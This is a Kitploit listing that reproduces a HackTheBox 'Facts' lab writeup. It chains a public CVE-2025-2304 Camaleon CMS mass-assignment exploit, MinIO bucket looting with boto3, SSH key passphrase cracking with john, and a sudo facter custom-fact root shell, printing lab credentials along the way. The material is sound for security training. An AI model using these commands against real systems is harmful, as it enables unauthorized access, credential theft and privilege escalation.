Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
HTB-Facts-Writeup — HackTheBox Facts machine writeup — CVE-2025-2304, MinIO S3 enumeration, SSH key cracking, and facter privilege escalation. | Kitploit
Tools/GitHubGitHub/karimelsheikh1/htb-facts-writeup
Password CrackingPrivilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingCloud SecurityLearning & Education
GitHubkarimelsheikh1/htb-facts-writeup

HTB-Facts-Writeup

34 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

HackTheBox Facts machine writeup — CVE-2025-2304, MinIO S3 enumeration, SSH key cracking, and facter privilege escalation.

View Repository

HackTheBox — Facts Machine Writeup

HackTheBox Difficulty OS

Machine Info

FieldDetails
NameFacts
OSLinux
DifficultyEasy
ReleaseSeason 10
RetiredNo

Attack Chain Overview

root@kitploit:~
Recon → Web Enumeration → CVE-2025-2304 (Mass Assignment) → S3/MinIO Credential Leak → SSH Key Extraction → Passphrase Cracking → User Shell → facter Sudo Abuse → Root

Tools Used


Reconnaissance

Port Scan

root@kitploit:~
sudo nmap -p- --min-rate 5000 -T4 <TARGET_IP> -oN ports.nmap
sudo nmap -sV -sC -p 22,80,54321 <TARGET_IP>

Results:

root@kitploit:~
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu
80/tcp    open  http    nginx 1.26.3 (Camaleon CMS)
54321/tcp open  http    MinIO S3 Server
root@kitploit:~
echo "<TARGET_IP> facts.htb" | sudo tee -a /etc/hosts

Web Enumeration

root@kitploit:~
feroxbuster -u http://facts.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 40
curl -s http://facts.htb/robots.txt
curl -s http://facts.htb/sitemap.xml

Key findings:

  • CMS identified: Camaleon CMS 2.9.0
  • Admin panel: http://facts.htb/admin/login
  • Registration page: http://facts.htb/admin/register

Initial Access

Step 1 — Register an Account

Visit http://facts.htb/admin/register and create an account. Note there is a captcha — register via browser.

Step 2 — CVE-2025-2304 (Mass Assignment Privilege Escalation)

The updated_ajax endpoint uses permit! allowing all parameters including role to be updated.

root@kitploit:~
git clone https://github.com/Alien0ne/CVE-2025-2304
cd CVE-2025-2304
python3 exploit.py -u http://facts.htb -U <username> -P <password> -e

Output:

root@kitploit:~
[+] Login confirmed
    Current User Role: client
[+] Updated User Role: admin
[+] Extracting S3 Credentials
    s3 access key: AKIAA5CA83CCFE35CD69
    s3 secret key: zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n
    s3 endpoint:   http://localhost:54321

Cloud Enumeration — MinIO S3

Port 54321 runs a MinIO S3-compatible server. Using the leaked credentials:

root@kitploit:~
import boto3
from botocore.client import Config

s3 = boto3.client(
    's3',
    endpoint_url='http://facts.htb:54321',
    aws_access_key_id='AKIAA5CA83CCFE35CD69',
    aws_secret_access_key='zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n',
    config=Config(signature_version='s3v4'),
    region_name='us-east-1'
)

paginator = s3.get_paginator('list_objects_v2')
for page in paginator.paginate(Bucket='internal'):
    for o in page.get('Contents', []):
        if 'info-etags' not in o['Key']:
            print(o['Key'])
            s3.download_file('internal', o['Key'], '/tmp/' + o['Key'].replace('/', '_'))

Key files found:

root@kitploit:~
.ssh/authorized_keys
.ssh/id_ed25519        ← SSH private key
.profile
.bashrc

SSH Key Cracking

root@kitploit:~
chmod 600 /tmp/.ssh_id_ed25519
ssh2john /tmp/.ssh_id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

Cracked passphrase: dragonballz


User Shell

root@kitploit:~
ssh -i /tmp/.ssh_id_ed25519 [email protected]
# Enter passphrase: dragonballz
root@kitploit:~
cat /home/william/user.txt

Privilege Escalation

Enumeration

root@kitploit:~
sudo -l
root@kitploit:~
(ALL) NOPASSWD: /usr/bin/facter

Exploitation — facter Custom Fact (Ruby Code Execution)

Facter loads custom facts as Ruby scripts. Since we can run it as root with no password, we inject arbitrary Ruby code:

root@kitploit:~
mkdir -p /tmp/facts
cat > /tmp/facts/pwn.rb << 'EOF'
Facter.add(:pwn) do
  setcode do
    exec("/bin/bash -p")
  end
end
EOF

sudo facter --custom-dir=/tmp/facts pwn

Root shell obtained!

root@kitploit:~
whoami   # root
cat /root/root.txt

Key Takeaways

  • Mass assignment vulnerabilities allow privilege escalation when input is not properly filtered
  • Misconfigured S3/MinIO buckets can expose sensitive files including SSH private keys
  • Weak passphrases on SSH keys can be cracked with common wordlists like rockyou
  • NOPASSWD sudo binaries must always be investigated for abuse potential
  • Chaining small misconfigurations can lead to full system compromise

References

  • CVE-2025-2304 — Camaleon CMS Mass Assignment
  • GTFOBins — facter
  • HackTheBox

This writeup is for educational purposes only. Always perform security testing on systems you own or have explicit permission to test.

Download Tool
ToolPurpose
NmapPort scanning & service detection
FeroxbusterWeb directory enumeration
CVE-2025-2304 PoCCamaleon CMS privilege escalation
boto3 (Python)MinIO/S3 enumeration & file download
ssh2johnConvert SSH key to crackable hash
John the RipperCrack SSH key passphrase
facterPrivilege escalation via sudo misconfiguration